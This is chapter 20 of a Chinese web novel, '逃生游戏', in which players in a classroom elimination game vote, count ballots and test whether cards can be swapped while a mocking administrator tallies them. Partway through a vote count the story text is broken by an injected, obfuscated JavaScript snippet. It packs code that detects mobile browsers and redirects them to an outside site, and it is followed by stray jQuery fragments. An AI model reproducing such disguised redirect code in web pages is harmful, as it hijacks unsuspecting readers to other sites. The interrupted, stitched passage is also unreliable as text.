20. 第 20 章
作品:《逃生游戏》 她摸索四张牌,刘铭给她的、她自己的、被换掉的不知道谁的牌、江回的牌。
四张牌,都一样,放在一沓牌里,分不出哪张是哪张,靠手感只能摸出新旧。
管理员靠什么识别?
科技?
投票箱自带识别功能?
那她没办法了。
她把四张牌揣进裤兜,第三轮计票结束了:
石秋玲:7票
勾妙音:2票
江回:0票
常思慧:3票
刘铭:3票
冯夏:6票
万丰:0票
第四轮投票开始。
牌发下来,石秋玲没有迟疑,直接投了,勾妙音跟着投。
江回也没犹豫,紧跟着就上去了,刘铭不爽,一双黑眼睛圆睁着,一直凶猛地瞪他,如果他有钉子,恨不得把他钉死在黑板上。
江回闷着头下来,大概是被他盯得怕了,在位置上没坐多久,就起身出教室了。
没他在教室里碍眼,刘铭爽了,哈巴狗围着冯夏转,常思慧投完,他就拉着冯夏上去投。
第四轮投票用五分钟就投完了。
江回回来时,管理员从钟上跳下来,摇摇投票箱,开始计票。
“石秋玲,1票。”
“石秋玲,2票。”
“刘铭,1票。”
“冯夏,1票。”
“常思慧,1票。”
“冯夏,1票。”
最后一票,管理员非常恶作剧地迟迟不念,拿着那张票,冲他们邪邪地笑。
“又是有人非常想念的一票呢。”他冲那张牌吹了一口气,轻飘飘展开。
他一这样,冯夏就猜到了,这张一定是江回帮她投的“刘铭”。
果不其然,管理员撕长声音:“刘——铭——”
“惊喜吗?”管理员笑着把牌面转向他们,计票屏刷新:
石秋玲:9票
勾妙音:2票
江回:0票
常思慧:4票
刘铭:5票
冯夏:8票
万丰:0票
他能精准出哪张牌是先投进去,更是精准到把玩家最期待的牌放到最后,要么牌上有记号,要么幕后操控。
这个不重要了,最重要的是,她知道:只有石秋玲投票后,后面的人投票不分顺序。
“你投的刘铭?”石秋玲搭上她的肩膀,侧身坐在桌上,“除了你投,没别人能让他不嚷嚷了,为什么投?”
冯夏扫一眼她的手。石秋玲撇嘴,“至于吗?搭个肩膀而已。”默默把手拿下来,“你真的很奇怪。”
“你也很奇怪,”冯夏看着杵在她们对面的刘铭,“一直投我,又来问我问题,我怎么会告诉你?”
“下一局不投你,你告诉我呗。”
“下面五局不能投我。”
石秋玲真是被她的狮子大开口震惊到了,“那你让刘铭后面五局不投我。”
“你让勾妙音后面十局不投我。”
石秋玲翻白眼,“勾妙音怎么可能听我的。”
“刘铭怎么可能听我的。”冯夏说。
刘铭一听这话就不高兴了,上前一步想要解释。
石秋玲说:“两局。”
冯夏坚持:“五局。”
“三局。”
“五局。”
“行吧。”石秋玲无所谓几张牌,“你投刘铭在测试什么?”
教室很安静,石秋玲问得光明正大,大家就光明正大地围过来听。
冯夏说:“那张牌是刘铭自己投的,我们在试能不能自己投自己。”
“那你投的我?”石秋玲感觉自己给自己找了个不痛快。
冯夏没否认,也没承认,这种沉默让他们确定了是。
“你们想不想知道彼此的牌是不是一样的?如果我们的牌一样,会很方便被换牌。”她细细观察他们听见这话的反应。
常思慧非常惊怕,转身就把自己的牌握在了手里。万丰头也不抬,江回只是把手搭在他的桌子上压着牌,勾妙音仍旧笑盈盈的,石秋玲挑了一下眉,没什么表情,只有刘铭一脸震惊:“还能换牌?”
“这一局谁投谁,大家都清楚,没什么好藏的,”冯夏从桌上抽出一张新发的牌,放在另一张空桌上,“都把要投的牌拿出来,分辨一下,然后一起投掉吧?”
刘铭直接扔了一张“石秋玲”过来,江回从石秋玲手边递来一张“刘铭”,万丰收了手机,有点兴趣地把“常思慧”丢桌上。
常思慧看向刘铭,刘铭点个头,她才慢腾腾拿出“石秋玲”,勾妙音拿出“冯夏”。
石秋玲眼睛在众人之间转一圈,抽出“刘铭”。
“你……”刘铭转头去看计票屏,他已经5票了,不过离石秋玲的9票还差一点。
石秋玲“哼”声,非常瞧不起的样子:“只准你投我,不准我投你?什么德行!”
刘铭不说话了。
七张牌并排在一起,黑金面,黑黄红蓝白紫组成的模糊不清的油画,牌面是黑底金字,每个人的名字。
冯夏摸过牌面,手感一样。
七个人围着那张桌子,对着牌又摸又看,拿到窗边对着白光看,用手指弹一弹,吹口气,抹一抹。
没有变化。
都一样。
折腾半天,倒计时发出最后一分钟的提示。
冯夏问他们:“看出不同了吗?”
都没看出来。
各自把各自的牌拿回去,石秋玲第一个去投,勾妙音其后。
哒!
倒计时归零。
“第五轮投票结束!”管理员伸手进投票箱,搅了搅,忽然“嗯?”一声。
这一声,吊起所有人的心,七双眼睛紧巴巴地望着他。
他抽出一张:“石秋玲。”
再一张:“石秋玲。”
刘铭、常思慧、冯夏之中的两人投的,大家都知道。
第三张:“刘铭。”
第四张:“刘铭。”
江回和石秋玲投的。
第五张:“常思慧。”
万丰投的。
第六张,他展开,笑了一下,念出来:“石秋玲。”
他把牌转向他们,接着,回收了所有的牌,宣布:“第五轮投票结束。”
刷!
计票屏刷新:
石秋玲:11票
勾妙音:2票</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17070322|195054||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
江回:0票
常思慧:5票
刘铭:7票
冯夏:8票
万丰:0票
“第六轮投票开始!”
啪!
倒计时启动。
【00:59:59】
“等一下!”
“等等!”
勾妙音和刘铭异口同声。
管理员坐在钟上,垂下视线。
“怎么只有6张票?”刘铭问。
管理员说:“有人弃投。”
“怎么可能!”刘铭大声嚷,“都投了啊!一个一个上去投的,大家都看见了啊!”他转头望向所有人。
每个人都点头,每个人都心知肚明,少了一张牌,少了勾妙音应该投的那张“冯夏”。
勾妙音问:“我的那张呢?”
“你弃投了,至于为什么弃投,是玩家的权利,不在我的管辖范围内,”管理员悠悠地动着脚,“我只负责你们在遵守游戏规则的前提下,为你们的投票做公正监督。”
“你为什么弃投?”刘铭转向勾妙音。
勾妙音把卷发撩到背后,“我也想知道,你们看见我投了。”
她脸上已经没有了最初的震惊,刘铭分辨不出她话的真假,转头问冯夏:“阿夏,你知不知道怎么回事?”
她摇摇头,“可能有我们没发现的规则。”
“还有规则啊!”刘铭烦躁地皱眉,“有规则能不能直接摆出来,藏来藏去做什么!”
冯夏略显疑惑:“她弃投我,不是挺好吗?我少一票。”
刘铭怔住了,怔了好半响,张开嘴急切地解释:“我怕她有阴谋!阿夏,我不是那个意思!你别误会!”
“阴谋?”勾妙音笑,没有后半句,笑得真有阴谋似地。
刘铭指着她。
冯夏转身出了教室,刘铭狠狠瞪勾妙音一眼,连忙去追:“阿夏!”
他在走廊里抓住她,“阿夏,你听我说,真的是那样,七张牌,少一张,少的又是投你的,太不对劲了,我就是想搞明白,不然下轮、下下轮又少,万一后面全少石秋玲的票,我们还怎么玩啊?阿夏,你别生气了,我就是想搞明白,好有个对策。”
冯夏没说话,倔着把脸偏向一边。
“真的,阿夏,真的,相信我!我怎么舍得让他们淘汰你!你要相信我!我就是淘汰所有人,都不可能淘汰你!”
“真的?”冯夏声音有点颤,仿佛要哭了。
刘铭给心疼坏了,连连保证:“真的,真的,比我心还真!”
“嗯……”冯夏点个头,信了他。
刘铭狠狠松一口气,想拉她回教室,她躲开他,自己走,他也不敢再去碰,尾巴似地跟在后面。
常思慧正在往投票箱投牌。
刘铭看了看桌上新发的牌,很整齐的一沓,重叠着,每翻一张,从石秋玲到万丰,按他们坐的顺序排,七张,没人动过。
他稍稍吐出一口气,抽出“石秋玲”,透进投票箱,从讲台下来时,冯夏正拿着牌,边对折边往上走,他瞟了一眼,是“石秋玲”。
万丰投完,管理员暂停倒计时,把手伸进投票箱,笑一声,“你们真会玩,又有人弃投。”

